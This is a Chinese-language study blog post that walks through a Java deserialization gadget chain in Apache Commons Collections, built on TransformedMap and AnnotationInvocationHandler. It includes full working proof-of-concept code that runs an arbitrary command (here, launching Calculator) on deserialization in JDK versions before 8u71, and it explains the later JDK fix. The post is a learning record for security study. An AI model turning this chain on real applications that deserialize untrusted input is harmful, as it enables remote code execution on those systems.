反序列化Gadget学习篇二 CommonCollections0.5

学习JAVA安全漫谈,理解CC利用链,按步骤理解每一个部分,每一个点为什么是这样的。

P神学习⽅式的探索

有时候想要学习⼀个东⻄,⽹上搜索⼀下,发现有教程,于是跟着做⼀遍。这样⼀来,你会发现⽹上⼤部分Java反序列化“教程”、“⼊⻔”通常上来先了解Java反序列化是什么,然后很快开始讲CommonsCollections ,就好像刚知道C语⾔语法的同学⽴⻢继续学习Linux内核,我是⼗分不建议这样做的,除⾮你有⾮常强的理解能⼒。
学习需要聪明⼀点,并独⽴思考问题。我很少参照别⼈的⽂章来学习,这样你学的东⻄是⼆⼿的,有时候连⼆⼿都不是,⽂章原作者也可能是参考另⼀篇⽂章写的。我的建议是从⽂档和源码开始学,实在有压⼒可以参考⼀些⻛评较好的书籍或技术博客。

由URLDNS链入门,再分析CC链,明显效果好很多,感谢phith0n的JAVA安全漫谈系列文章,讲的非常清楚。

为什么叫做CommonCollections0.5,因为不是严格意义上大家说的CC1,CC1链使用的是LazyMap,而不是TransformedMap,这部分主要是帮助理解反序列化链,避免误导叫做CC0.5

一、 CC链核心(荷载payload)

大佬们发现org.apache.commons.collections.Transformer 可以实现命令执行且可以被序列化于是有了:

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        }; 
Transformer transformerChain = new ChainedTransformer(transformers2);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain);
innerMap.put("value", "xxxx");

首先Transformer是一个接口,ConstantTransformer和InvokerTransformer和ChainedTransformer都是实现了这个接口的类,这个接口只有一个transform方法,关键就在这个transform。

1. 起点TransformedMap.decorate

TransformedMap.decorate(map,keyTransformer,valueTransformer)

这个函数的作用是给一个map设置一个回调,当有新的键值被put的时候,触发回调,对key用keyTransformer处理,对value用valueTransformer处理。这个valueTransformer可以传上面transform的任意一个实现类,比如transformerChain

2. 链式调用transformerChain

transformerChain通过一个Transformer数组初始化,循环调用这个数组中的每一个类的transform方法,并把结果重新赋值给下一个的参数,也就是通过这个链可以实现类似Runtime.getRuntime().exec("whoami")中点(.)的效果。

3. 链式调用的头部ConstantTransformer

ConstantTransformer 构造函数会把参数保存到字段中,在调用transform时返回

正好通过这个类可以获取一个初始的对象,开始链式调用,因此就有了最前面的调用链。

4. 触发

一切准备就绪,只需要触发回调,也就是向Map中村一组数据:
innerMap.put("value", "xxxx");
即可触发,弹出计算器,到这一步就完成了通过CommonCollections执行任意命令

二、反序列化触发(推进器)

第一部分通过手动put一个值到Map中触发了命令执行。实际场景中我们需要通过反序列化来触发,需要找一个类,这个类的readObject()方法中有类似的向一个Map中put键值的操作:sun.reflect.annotation.AnnotationInvocationHandler

这个类是一个内部类,无法直接实例化,需要通过反射修改属性调用,继续上面的代码,去掉手动put的部分,我们已经准备好了一个outerMap对象。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // 通过outmap初始化一个AnnotationInvocationHandler,注意这里的第一个参数Retention.class,有特殊作用,后面讲
        Object obj = constructor.newInstance(Retention.class, outerMap);

到此为止,我们准备好了一个AnnotationInvocationHandler对象,只要对其进行序列化,发送给漏洞存在点,即可执行命令,模仿一下:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        oos.close();

        System.out.println(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();

执行后发现报错:

java.lang.Runtime没有实现java.io.Serializable接口
要把AnnotationInvocationHandler序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口,但是Runtime是没有实现接口的,不允许被序列化,因此要通过反射去获取,要修改chain,分多个步骤返回,正常反射写法:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("whomi");

我们需要按照反射函数的参数类型和参数值写Transformer

ransformer[] transformers2 = new Transformer[]{
            // 返回一个Runtime的class对象,class对象是实现了Serializable接口的,可以被序列化
            new ConstantTransformer(Runtime.class),
            // 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            // 调用Method.invoke(null) 返回Runtime对象
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
            // 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

把Map绑定到改好的transformers2链上,就解决了报错的问题。

继续执行计算器也没有执行。调试发现在AnnotationInvocationHandler的readObject()方法中有一个判断,var7!=null,直接按照上面的方法调用,var7就是null,因此没有执行到setValue赋值的位置。
这个涉及到java注释(Annotation是注解的意思)相关,需要两个条件:

  • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
    这里关联到在用构造函数实例化AnnotationInvocationHandler时,参数使用的是Retention,因为这个类有一个value方法,且是Annotation的子类,所以需要在Map中放一个key是value的元素 java innerMap.put("value", "xxxx"); 修改后 run 成功:

三、修复

因为利用链并不是漏洞,只是一系列正常功能的组合,漏洞触发点在反序列的接口。因此没有针对性的修复,但是在8u71以后大概是2015年12月的时候,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

因此使用TransformedMap的CommonCollections1只能在jdk8u71以前使用,环境要求较高,这也是为什么yso项目里面没有使用TransformedMap,而使用了LazyMap的原因。

本文仅作为个人的学习记录,可能比原文要差很多,只记录自己的理解思路。完整代码在最后。

完整思路代码:

package changez.sec.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// CC最简单demo,只是使用Transformer完成了一次命令执行,不涉及任何反射和反序列化,主要用于了解Transformer利用链。不是真正的poc
public class CommonCollections1 {
    public static void main(String[] args) throws Exception{
        /* 3.2 要把AnnotationInvocationHandler序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口,但是Runtime是没有实现接口的,不允许被序列化
        *      因此要通过反射去获取,要修改chain,分多个步骤返回,正常反射写法:
        *       Method f = Runtime.class.getMethod("getRuntime");
        *       Runtime r = (Runtime) f.invoke(null);
        *       r.exec("whomi");
        *      需要按照反射函数的参数类型和参数值写Transformer
        */

        Transformer[] transformers2 = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            // 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            // 调用Method.invoke(null) 返回Runtime对象
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
            // 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        // 新的transformers2,里面没有用到任何其他对象,只有字符串,也就不存在不能序列化的问题


        // 1.初始化一个Transformer数组对象,第一个元素值是一个ConstantTransformer对象,第二个元素值是一个InvokerTransformer对象,这两个都是Transformer的实现类
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        // 2.初始化一个transformerChain,绑定到outerMap,也就是当outerMap有新增元素时,触发执行transformerChain链
        Transformer transformerChain = new ChainedTransformer(transformers2);
        Map innerMap = new HashMap();
        /**
         * 4.修改完3以后发现仍然没有计算器弹出, debug AnnotationInvocationHandler.readObject()方法发现有一个判断var7不能为null的判断,涉及到java注释相关,需要两个条件:
         *      * sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
         *      * 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
         *      这里关联到在用构造函数实例化AnnotationInvocationHandler时,参数使用的是Retention,因为这个类有一个value方法,且是Annotation的子类,所以需要在Map中放一个key是value的元素
         */
        innerMap.put("value", "xxxx");
        // 把Map和回调绑定
        Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain);
        // 3.增加新元素触发
//        outerMap.put("test", "xxxx");

        // 3.1 实战反序列化时,需要找到一个类,能完成类似的写入操作sun.reflect.annotation.AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        oos.close();

        System.out.println(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();

    }
}

参考链接;

https://govuln.com/docs/
https://kingx.me/commons-collections-java-deserialization.html
https://www.anquanke.com/post/id/82934

posted @ 2021-07-15 12:11  ChanGeZ  阅读(258)  评论(0编辑  收藏  举报